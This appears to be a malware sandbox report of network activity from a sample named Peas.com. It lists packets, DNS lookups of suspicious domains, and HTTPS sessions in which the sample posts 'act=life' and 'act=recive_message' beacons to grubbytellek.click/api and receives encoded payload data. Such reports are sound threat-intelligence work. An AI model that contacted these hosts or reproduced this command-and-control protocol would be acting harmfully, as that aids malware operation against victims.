Jan 5, 2025 19:50:32.011610985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.011631966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.011671066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.011697054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.011709929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.011709929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.011735916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.011738062 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.011749029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.011761904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.011794090 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.016886950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.016906023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.016936064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.016942978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.016969919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.016989946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.017558098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.017573118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.017605066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.017611027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.017635107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.017654896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.017782927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.017802954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.017832041 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.017838001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.017862082 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.017880917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.018484116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.018502951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.018538952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.018544912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.018568993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.018585920 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.018724918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.018774986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.018791914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.018846989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.018853903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.018893003 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.023597956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.061206102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.061225891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.061304092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.061314106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.061507940 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.097675085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.097690105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.097889900 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.097898006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.097942114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.097981930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.097996950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.098031998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.098037004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.098062038 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.098081112 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.103127003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103142977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103213072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.103219986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103260994 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.103413105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103426933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103461027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.103466034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103492022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.103511095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.103733063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103746891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103780031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.103785038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.103806973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.103826046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.105257034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.105273008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.105329990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.105336905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.105376959 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.105643034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.105658054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.105705976 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.105710983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.105752945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.110752106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.147891045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.147913933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.147957087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.147964954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.148009062 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.184887886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.184904099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.184967041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.184978008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.184988976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.185137987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.185137987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.190082073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190104008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190145969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.190151930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190179110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.190253019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190270901 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190300941 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.190309048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190331936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.190602064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190618992 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190654039 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.190664053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.190679073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.192238092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.192257881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.192305088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.192311049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.192334890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.192413092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.192439079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.192468882 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.192475080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.192492008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.195540905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.234802008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.234822035 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.234915018 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.234930038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.271590948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.271612883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.271752119 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.271752119 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.271760941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.271876097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.271892071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.271925926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.271934986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.271955013 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.276942968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.276969910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.277000904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.277009964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.277038097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.277585983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.277600050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.277654886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.277663946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.278559923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.278578997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.278611898 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.278620005 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.278637886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.281682014 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.281699896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.281752110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.281759024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.281877041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.281900883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.281954050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.281960964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.282224894 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.321664095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.321682930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.321933985 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.321939945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.358527899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.358546972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.358588934 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.358592033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.358603001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.358618975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.358648062 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.363651037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.363668919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.363711119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.363740921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.363748074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.363775015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.363796949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.363796949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.363852978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.374018908 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.374032021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:32.374041080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:32.374046087 CET	443	49746	172.67.208.58	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 19:50:01.541898966 CET	54018	53	192.168.2.4	1.1.1.1
Jan 5, 2025 19:50:01.550793886 CET	53	54018	1.1.1.1	192.168.2.4
Jan 5, 2025 19:50:14.987236977 CET	55516	53	192.168.2.4	1.1.1.1
Jan 5, 2025 19:50:15.032856941 CET	53	55516	1.1.1.1	192.168.2.4
Jan 5, 2025 19:50:24.517781019 CET	55680	53	192.168.2.4	1.1.1.1
Jan 5, 2025 19:50:24.624274969 CET	53	55680	1.1.1.1	192.168.2.4
Jan 5, 2025 19:50:25.583405018 CET	61155	53	192.168.2.4	1.1.1.1
Jan 5, 2025 19:50:25.598151922 CET	53	61155	1.1.1.1	192.168.2.4
Jan 5, 2025 19:50:26.244404078 CET	62101	53	192.168.2.4	1.1.1.1
Jan 5, 2025 19:50:26.254611969 CET	53	62101	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 19:50:01.541898966 CET	192.168.2.4	1.1.1.1	0xdeb3	Standard query (0)	NMPmQUQWWGDRMDKc.NMPmQUQWWGDRMDKc	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:14.987236977 CET	192.168.2.4	1.1.1.1	0x31fd	Standard query (0)	grubbytellek.click	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:24.517781019 CET	192.168.2.4	1.1.1.1	0xe596	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:25.583405018 CET	192.168.2.4	1.1.1.1	0x3b13	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:26.244404078 CET	192.168.2.4	1.1.1.1	0x8cb2	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 19:50:01.550793886 CET	1.1.1.1	192.168.2.4	0xdeb3	Name error (3)	NMPmQUQWWGDRMDKc.NMPmQUQWWGDRMDKc	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:15.032856941 CET	1.1.1.1	192.168.2.4	0x31fd	No error (0)	grubbytellek.click		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:15.032856941 CET	1.1.1.1	192.168.2.4	0x31fd	No error (0)	grubbytellek.click		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:24.624274969 CET	1.1.1.1	192.168.2.4	0xe596	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:25.598151922 CET	1.1.1.1	192.168.2.4	0x3b13	No error (0)	klipvumisui.shop		172.67.208.58	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:25.598151922 CET	1.1.1.1	192.168.2.4	0x3b13	No error (0)	klipvumisui.shop		104.21.37.128	A (IP address)	IN (0x0001)	false
Jan 5, 2025 19:50:26.254611969 CET	1.1.1.1	192.168.2.4	0x8cb2	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

grubbytellek.click

cegu.shop

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	188.114.97.3	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:15 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grubbytellek.click
2025-01-05 18:50:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-05 18:50:15 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jhc9m6pb6rtc6nat3tchps6u9f; expires=Thu, 01 May 2025 12:36:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LkpwTSh0omsT5hNTVQCnUcJi%2FKOao80wbS3AtsLvbFRparMNlTFzvC7t5fJLI5xCqGMNRATek%2FRvqnfM3PfJHMPGWVtsSoYO3i75bMUwD0wycYNkz%2Bo6U2%2FN5YN5cQHyWPD6yGY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a7278d583354-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2076&min_rtt=2073&rtt_var=784&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=909&delivery_rate=1391138&cwnd=114&unsent_bytes=0&cid=0ff1132ac6bb18fc&ts=489&x=0"
2025-01-05 18:50:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-05 18:50:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	188.114.97.3	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:16 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: grubbytellek.click
2025-01-05 18:50:16 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--psyche&j=aa77e78b6b0dd1b2226e7b799532ab3a
2025-01-05 18:50:16 UTC	1127	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7tres3qh71ltj18oa6gb6urb18; expires=Thu, 01 May 2025 12:36:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PfSA4Pf4T9XsscALOJB0M9EFPkKCZnoCMWOcofQVBGetktOxKYnA%2BgA7TVdZxUoQM5IdyETIPb8Zm%2F3tHSVTbVqFbKs5hMoCQnw5JHWeIc9t5l9EsafeQ2JUpEGVIup%2BKofp6Ek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a72d7c7dc33e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1625&rtt_var=617&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=982&delivery_rate=1764350&cwnd=217&unsent_bytes=0&cid=bd4426027f76d17d&ts=450&x=0"
2025-01-05 18:50:16 UTC	242	IN	Data Raw: 33 64 66 38 0d 0a 48 78 6c 38 39 39 50 75 47 4f 77 74 6b 30 54 6e 7a 73 58 6f 66 4b 66 4a 72 37 36 6c 41 48 48 55 30 4d 6a 74 4f 54 4a 7a 73 7a 70 6b 4f 77 72 56 36 64 6f 30 7a 6c 37 32 5a 74 32 6f 70 49 51 50 77 75 57 4e 33 38 45 69 53 37 4b 78 70 4a 35 63 48 6c 48 46 56 7a 30 6a 47 70 61 2f 6e 58 33 41 44 2f 59 38 78 66 53 65 6b 31 37 43 70 34 32 45 68 32 55 62 74 72 47 6b 6a 31 68 5a 48 4d 4e 57 66 48 45 51 6b 4c 75 4c 65 34 68 4d 2f 79 6d 43 71 36 43 4a 46 73 6d 67 77 74 62 49 49 6c 33 32 74 62 4c 50 41 78 41 2b 31 6b 35 2b 56 42 32 45 75 4d 78 6c 77 46 61 78 49 59 6e 73 2f 38 6f 64 77 71 76 44 32 4d 46 72 47 62 79 34 72 49 35 64 57 41 50 61 58 48 64 78 48 70 4f 36 67 58 4b 63 51 66 55 75 69 61 32 71 69 56 36 4c Data Ascii: 3df8Hxl899PuGOwtk0TnzsXofKfJr76lAHHU0MjtOTJzszpkOwrV6do0zl72Zt2opIQPwuWN38EiS7KxpJ5cHlHFVz0jGpa/nX3AD/Y8xfSek17Cp42Eh2UbtrGkj1hZHMNWfHEQkLuLe4hM/ymCq6CJFsmgwtbIIl32tbLPAxA+1k5+VB2EuMxlwFaxIYns/8odwqvD2MFrGby4rI5dWAPaXHdxHpO6gXKcQfUuia2qiV6L
2025-01-05 18:50:16 UTC	1369	IN	Data Raw: 36 38 72 45 68 7a 70 54 35 59 43 70 6e 6b 70 46 48 4d 46 65 50 57 52 51 6a 50 47 4c 64 73 34 58 73 53 36 4a 6f 71 4b 4a 45 63 4b 71 7a 63 37 49 59 68 43 2b 75 71 36 46 56 46 38 65 33 31 4a 36 63 78 65 53 76 6f 74 79 69 45 44 79 5a 73 76 73 6f 4a 4a 65 6e 65 76 74 7a 4d 52 68 42 37 75 6a 36 70 41 56 53 56 48 57 56 44 30 6a 58 70 4f 2f 6a 58 65 4f 58 66 6b 74 6a 71 6d 31 67 52 66 49 70 73 33 52 7a 57 30 51 74 72 57 67 68 56 52 61 46 64 78 56 65 33 73 65 31 66 2f 4d 66 5a 59 50 71 57 61 6d 71 62 65 4e 45 74 50 70 39 35 7a 59 4c 41 72 32 74 61 62 50 41 78 41 5a 31 46 74 2b 63 42 47 57 75 59 64 6f 6a 6c 33 33 4b 34 43 2b 6f 59 38 51 7a 36 6a 66 31 73 6c 6b 45 4c 2b 35 6f 34 70 63 56 46 47 66 47 48 70 6a 58 73 33 78 72 58 65 46 51 2f 73 78 68 65 79 34 78 41 65 Data Ascii: 68rEhzpT5YCpnkpFHMFePWRQjPGLds4XsS6JoqKJEcKqzc7IYhC+uq6FVF8e31J6cxeSvotyiEDyZsvsoJJenevtzMRhB7uj6pAVSVHWVD0jXpO/jXeOXfktjqm1gRfIps3RzW0QtrWghVRaFdxVe3se1f/MfZYPqWamqbeNEtPp95zYLAr2tabPAxAZ1Ft+cBGWuYdojl33K4C+oY8Qz6jf1slkEL+5o4pcVFGfGHpjXs3xrXeFQ/sxhey4xAe
2025-01-05 18:50:16 UTC	1369	IN	Data Raw: 4d 31 6b 48 4c 75 2b 36 73 45 62 56 77 6d 52 41 44 31 52 48 59 47 79 68 6a 69 37 54 50 38 6f 67 72 72 6e 6c 56 44 63 36 38 72 51 68 7a 70 54 75 37 4f 69 69 55 6c 66 48 4e 4a 57 63 33 51 62 6d 72 6d 4d 65 6f 4e 4b 39 53 32 4f 72 36 71 4f 44 4d 2b 72 78 64 6e 47 61 42 6e 32 2f 4f 71 49 51 78 42 4a 6b 57 6c 71 63 46 79 67 73 6f 4a 30 69 56 6d 78 4f 63 75 31 35 34 30 53 68 66 4f 4e 30 63 39 6e 46 72 6d 7a 6f 49 46 65 57 68 33 5a 56 6e 35 70 45 5a 47 78 67 48 4b 45 51 76 38 69 6a 61 57 73 67 52 6a 46 71 73 65 63 69 53 49 55 72 76 4c 79 7a 32 39 58 48 64 78 58 50 30 34 64 6d 37 2b 4c 62 4d 35 51 76 7a 2f 46 71 36 76 4b 52 6f 57 6e 78 4e 7a 4d 61 42 65 32 74 61 65 4b 57 46 63 53 33 46 39 33 64 52 6d 52 76 59 56 33 69 45 2f 32 49 6f 43 2b 6f 6f 4d 53 79 65 75 44 Data Ascii: M1kHLu+6sEbVwmRAD1RHYGyhji7TP8ogrrnlVDc68rQhzpTu7OiiUlfHNJWc3QbmrmMeoNK9S2Or6qODM+rxdnGaBn2/OqIQxBJkWlqcFygsoJ0iVmxOcu1540ShfON0c9nFrmzoIFeWh3ZVn5pEZGxgHKEQv8ijaWsgRjFqseciSIUrvLyz29XHdxXP04dm7+LbM5Qvz/Fq6vKRoWnxNzMaBe2taeKWFcS3F93dRmRvYV3iE/2IoC+ooMSyeuD
